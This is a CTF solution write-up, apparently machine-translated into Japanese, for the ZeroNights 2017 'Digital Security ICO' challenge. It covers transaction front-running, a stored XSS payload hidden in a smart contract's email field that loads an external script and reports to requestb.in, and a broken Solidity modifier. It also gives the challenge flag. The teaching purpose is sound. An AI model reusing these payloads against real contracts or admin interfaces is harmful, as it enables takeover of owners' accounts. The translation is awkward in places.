クエストデジタルセキュリティICOの分析







毎年恒例のZeroNights 2017会議の前に、Hackquest 2017に加えて、別のコンテスト、つまりICO(初期コインの提供)を実施することにしました。 しかし、誰もが見る方法ではなく、ハッカーのために。 そして、彼らがハッカーであることをどのように理解できますか? 彼らはICOをクラックしなければなりませんでした! 猫の下で詳細を尋ねます。







はじめに-伝説。







デジタルセキュリティICOは、ホワイトリストICOの原則、つまり ホワイトリストに登録されている参加者のみが投資できます。 参加者の選択は、提供されたデータ(個人のブログ、Twitter、ニックネームなどへのリンク)に基づいて、スマートコントラクトの所有者によって手動で実行されました。 必要に応じて、身元を確認する必要がありました。 また、ランダムな参加者に、5ブロックごとに宝くじの順番で候補者の候補となる機会を与えました。 スマートコントラクトを読むと、用語と機能をより詳しく理解できます。

プロジェクト参加者のタスクは次のとおりです。







31337以上のHACKを取得し、ZeroNightsに招待リクエストを送信します。

そのため、ホワイトリストのアプリケーションが表示された部分、ホワイトリスト自体、および「所有者がクリックする必要がある」大切なボタンのように見えました。













ステージ1。 申請書の提出



etherscan.ioへの提供されたリンクを分析すると、次のスマートカウンターアーキテクチャが出現します。









ICOを読んだ後、所有者への検討のために申請書を提出できないことが明らかになります。







function proposal(string _email) public { //        1337  require(msg.sender.balance > 1337 ether && msg.sender != controller); desires[msg.sender].email = _email; desires[msg.sender].active = true; Proposal(msg.sender, _email); }
      
      





エーテルはどこで入手できますか? 頭に浮かぶかもしれない最初のものは私のものです! ネットワークはテスト用のもので、参加者はほとんどいないはずですが... Rinkbeyネットワークは、 Proof-of-Authorityコンセンサス使用しているため、選択したノードのみがマイニングされ受信したブロードキャストが全員に配信されます。 そのため、オプションの1つは、Twitter、Google +、github.comでアカウントを作成し、必要な放送時間を収集することでした。 計算によると、100を少し超えるアカウントを持っているため、そのような量を1日に収集することができました。 分析を読んでいる参加者のいずれかがそのような決定に頼った場合、コメントで登録を解除してください、私たちはあなたの経験に興味があります。







このオプションが退屈だと感じた人は、説明(または契約)で、5ブロックごとに誰でも応募できる機会があるという特定の宝くじがあることに気付くでしょう。 宝くじロボットが作った数字を推測するだけです。

ロボットが呼び出したスマートコントラクト関数は次のようになります。







 address public robotAddress; mapping (address => uint) private playerNumber; address[] public players; uint public lotteryBlock; event NewLotteryBet(address who); event NewLotteryRound(uint blockNumber); function spinLottery(uint number) public { if (msg.sender != robotAddress) { playerNumber[msg.sender] = number; players.push(msg.sender); NewLotteryBet(msg.sender); } else { require(block.number - lotteryBlock > 5); lotteryBlock = block.number; for (uint i = 0; i < players.length; i++) { if (playerNumber[players[i]] == number) { desires[players[i]].active = true; desires[players[i]].email = "*Use changeEmail func to set your email.*"; Proposal(players[i], desires[players[i]].email); } } delete players; // flushing round NewLotteryRound(lotteryBlock); } }
      
      





参加者は自分の番号を5ブロック以内に送信し、その後ロボットは自分が作成した番号を送信すると想定されていました。 スマートコントラクトは、プレイヤーの一人が正しく推測したかどうかをチェックすることでした。 成功した場合、参加者はdesires



行きました。 スマートコントラクトの観点からは、脆弱性はないようです。ロボットはトランザクションでラウンドを終了し、構成された数を覗き見ましたが、それは事実の後のみ可能でした。 しかし、実際にはそうではありません。







第一段階の決定



ロボットが作成した番号を確認し、最も重要なこととして、その前にトランザクションを送信するには、これらのトランザクションがネットワークによってどのように処理されるかを理解する必要がありました。 要するに:

すべての新しいトランザクションは最初に未確認プール(すべてのネットワーク参加者に共通)に分類され、マイナーは次のブロックを形成するときにそこからトランザクションを収集します。 ただし、送信された順序ではなく、トランザクションの降順とトランザクションのシリアル番号-それぞれgasPriceとnonce(実際には、「ガス」の価格は鉱夫が受け取る手数料の構成要素の1つにすぎません。2番目はそれ自体です使用ガス )。

したがって、必要なのは、トランザクションが未確認のプールにある間にロボットが送信した番号を確認し、同じ番号で「ガス」のコストを高くして送信することだけでした。 新しいブロックを見つけるのに12〜30秒かかることを考えると、攻撃者は前走攻撃を開始するのに十分な時間を持っていました。 悪用例はここで調べることができます







(叙述的余談)BGPハイジャック攻撃を実行できるインターネットプロバイダー( ここで説明したものと同様)が競争に参加した場合、彼はトランザクションの順序も管理できます。







ステージ2。 ボタンを押す-結果が得られます



そのため、申請書が提出されました。 所有者が私をホワイトリストに登録し、切望されているHACKコインを購入できるようになるまで待つだけです。 退屈そうですね。 たぶんホワイトリストに入る方法がありますか? 契約を確認します。







 modifier onlyController { require(msg.sender == controller); _; } function addParticipant(address who) onlyController public { if (isDesirous(who) && who != controller) { whitelist[who] = true; delete desires[who]; AddParticipant(who); RemoveProposal(who); } }
      
      





Webインターフェイスで同じ名前のボタンをクリックすると呼び出されるaddParticipant



関数は、 onlyController



修飾子を使用するため、呼び出すには、 controller



プライベートアドレスキーでトランザクションに署名する必要があります。 または、そのようなものがないため、所有者自身を交換しますか? 継承されたコントラクトの1つのソースコードをchangeController



関数によって所有権の変更が提供されることに気付くでしょう。







 contract Controlled { /// @notice The address of the controller is the only address that can call /// a function with this modifier modifier onlyController { require(msg.sender == controller); _; } address public controller; bool isICOdeployed; function Controlled() public { controller = msg.sender; } /// @notice Changes the controller of the contract just once /// @param _newController The new controller of the contract (eg ICO contract) function changeController(address _newController) public onlyController { if (!isICOdeployed) { isICOdeployed = true; controller = _newController; } else revert(); } }
      
      





実際、この機能はHACKコインスマートコンタクトにのみ関連します(展開中にコントローラーを開発者のアドレスからICO契約のアドレスに変更するため)が、 Controlled



契約は有用であり、両方の契約に継承されるため、 changeOwner



を持ちます。 しようとしていますか? 失敗:(開発者はこれを想定しており、独自のアドレスでデプロイするとすぐに関数を呼び出しました







すべての理論が使い果たされた後、所有者がホワイトリストを使用して参加者を手動で入力したように見えます。 しかし、これはもちろんそうではありません。







第二段階のソリューション



第2段階を完了するには、所有者に対してブロックチェーンに格納されたXSS攻撃を行う必要がありました。 このヒントは、電子メール変更機能で見ることができます。







 function changeEmail(string _email) public { require(desires[msg.sender].active); desires[msg.sender].email = _email; Proposal(msg.sender, _email); }
      
      





気づいた? _email



行に含まれるもののチェックはありません。 主にそのようなチェック(使用済みガス)を行うのに費用がかかるため、それらのどれもありません。また、文字列を操作するための組み込み関数はありません。 唯一の保護バリアは、クライアント側で実装される可能性が高いことがわかります。 統計ページにメールがどのように追加されるかを見てください。







 <!--      statistics.vue --> ... <div class="table__proposals"> <h2>Proposals</h2> <div class="table__body"> <div class="table__item" v-for="member in desires" v-on:click.capture="selected = member" v-bind:class="{ selected: selected == member}"> <!--  v-html -      --> <div class="member__email" v-html="member.email"></div> <!--   --> <div>{{ member.address }}</div> </div> </div> </div> ...
      
      





もちろん、参加者はすでにレンダリングされたバージョンを見ました。 しかし、実験を止めたものはありませんでした







  1. スマートコントラクトのABIデータとそのアドレスは、フロントエンドによって別のリクエストでプルアップされたため、Burp Suiteなどのプロキシを使用して、独自のものに置き換えることができます。
  2. スマートコントラクトのソースはetherscan.ioにありました-プライベートブロックチェーンを展開し、そこにスマートコントラクトを展開して実験することができます。


競争の観点からは、ブロックチェーン内のライバルの行動を誰もが見ることができるため、すでに有効な攻撃ベクトルを用意することも重要です!







これが最初に送信されるベクトルです。







 the.last.triarius@gmail.com<img src="1" onerror="var x = document.createElement('script'); x.src = 'http://yourjavascript.com/112951702413/h.js'; document.getElementsByTagName('head')[0].appendChild(x);">
      
      





ほとんどの場合、ペイロードは個別にプルされました(そして、これらのリンクをたどってそこにあるものを確認しようとさえしませんでした)が、ここに著者の例があります:







 var xhr = new XMLHttpRequest(); xhr.open('GET', '/static/contracts.json', false); xhr.send(); var contracts = JSON.parse(xhr.responseText); var ico_addr = contracts.ICO_CONTRACT_ADDRESS; var ico_abi = contracts.ICO_CONTRACT_ABI; var ico = web3.eth.contract(ico_abi).at(ico_addr); var player_addr = '0xc24c2841b87694e546a093ac0da6565c8fdd1800'; var tx = ico.addParticipant(player_addr, {from: web3.eth.coinbase}) xhr.open('GET', 'https://requestb.in/1gz0iz11?tx='+tx, false); xhr.send();
      
      





所有者がロックされていないコインベースアカウントでgethクライアントを使用しているため、攻撃が成功したことも注目に値します。 ある種のウォレットが使用されている場合、トランザクションが開始されると、ユーザーにはトランザクションの確認を要求するウィンドウが表示されます。 ただし、ウォレットを使用すると、すべてのトラブルからあなたを救うと仮定しないでください。 攻撃者は、トランザクションの形成元のデータを管理できます(たとえば、所有者が選択したアドレスを自分のアドレスに置き換える)。







ステージ3。 テスト購入



まあ、私たちはほとんどそこにいます。 31337 HACKコインを購入する時が来ました。 購入機能を見ます:







 // - ICO uint RATE = 2500; function buy() public payable { if (isWhitelisted(msg.sender)) { uint hacks = RATE * msg.value; require(hack.balanceOf(msg.sender) + hacks <= 1000 ether); hack.mint(hacks, msg.sender); } }
      
      





スマートコントラクトでは1000個以上のHACKコインを購入することはできませんが、31337個以上が必要であることがすぐにわかります。しかし、それは重要ではありません。 購入者の残高の確認方法に注意してください。 現在の残高のみが考慮されます! 論理的な決定は、単にコインをどこか他の場所に移動して、再度購入することです。







第三段階の決定



翻訳の仕方を見てみましょう:







 modifier afterICO() { block.timestamp > November15_2017; _; } function transfer(address _to, uint256 _value) public afterICO returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; }
      
      





この関数は変換用ですが、修飾子が指定されているため、ICOが終了するまで呼び出しの可能性が制限されます。 ただし、実際には、修飾子は条件に関係なく機能を実行しません。この条件自体を処理する必要があるためです。 正しいオプションは次のとおりです。







 modifier afterICO() { require(block.timestamp > November15_2017); _; }
      
      





したがって、購入と引き出しの操作を13回繰り返して、大切な量のトークンを蓄積できます。 もう1つのオプションはtransferFrom



関数を使用することです。プロセスはもう少し複雑ですが、機能します。







ボーナスステージ。 オフチェーントランザクション



ステージはボーナスではありません。ステージとはまったく思っていませんでしたが、多くの人が真剣にグーグルで作り、合格した後、フラグとともに感情的なフィードバックを送信します(もちろん、良識の範囲内で)。 そのため、サイトのフォームへの署名は次のようになります。







...入場チケットを取得するには、31337個以上のHACKコインを収集し、msg.dataとして「HACK」を使用して署名済みのオフチェーントランザクションを送信します。

フラグを送信するには、参加者(つまり、イーサリアムネットワーク外)とのオフチェーン対話が必要でした。 フラグ(シークレット)と引き換えに招待状を正確に受け取ることができ、ブロックチェーンにシークレットを保持することは簡単な作業ではありません-フラグが暗号化されていても、正しい参加者にキーを渡すにはどうすればよいですか? 実際、参加者に、適切な量のHACKコインがあるアドレスから署名付きトランザクションを生成し、ネットワークではなくico.dsec.ruバックエンドに送信するように依頼したのはそのためです。 このようなトランザクションを生成する方法の詳細な例を次に示します。







そして、このバイトシーケンスを処理するバックエンドのコードを次に示します。
 var Tx = require('ethereumjs-tx'); var unsign = require('@warren-bank/ethereumjs-tx-unsign'); var util = require('ethereumjs-util'); var Web3 = require('web3'); var web3 = new Web3(new Web3.providers.HttpProvider('http://localhost:8545/')); const HaCoin_CONTRACT_ADDRESS = "0x9993ae26affd099e13124d8b98556e3215214e81"; const abi_h = [{"constant":true,"inputs":[], ... ,"type":"event"}]; var hack = web3.eth.contract(abi_h).at(HaCoin_CONTRACT_ADDRESS); router.post('/getInvite', function(req, res, next) { var transaction = new Tx(req.body.tx); if (transaction.verifySignature()) { var decodedTx = unsign(transaction.serialize().toString('hex'), true, true, true); var data = web3.toAscii(decodedTx.txData.data); var from = util.bufferToHex(transaction.from); if (data === hack.symbol() && web3.fromWei(hack.balanceOf(from), "ether") > 31337) { res.send({'success': true, 'email': 'ico@dsec.ru', 'code': 'l33t_ICO_haXor_Foy1YD042c!'}); } } else { res.send({'success': false, 'error': 'Transaction is invalid.'}); } res.send({'success': false, 'error': 'Transaction is invalid.'}); });
      
      





以上です。 ICOに参加してくれた皆さん、そして受賞者の皆さん、おめでとうございます! クエストを通過したいという欲求を起こした人のために-それはさらに数日動作します:)







また、ZeroNightsに時間を割いて助けてくれた人々にも感謝します。








All Articles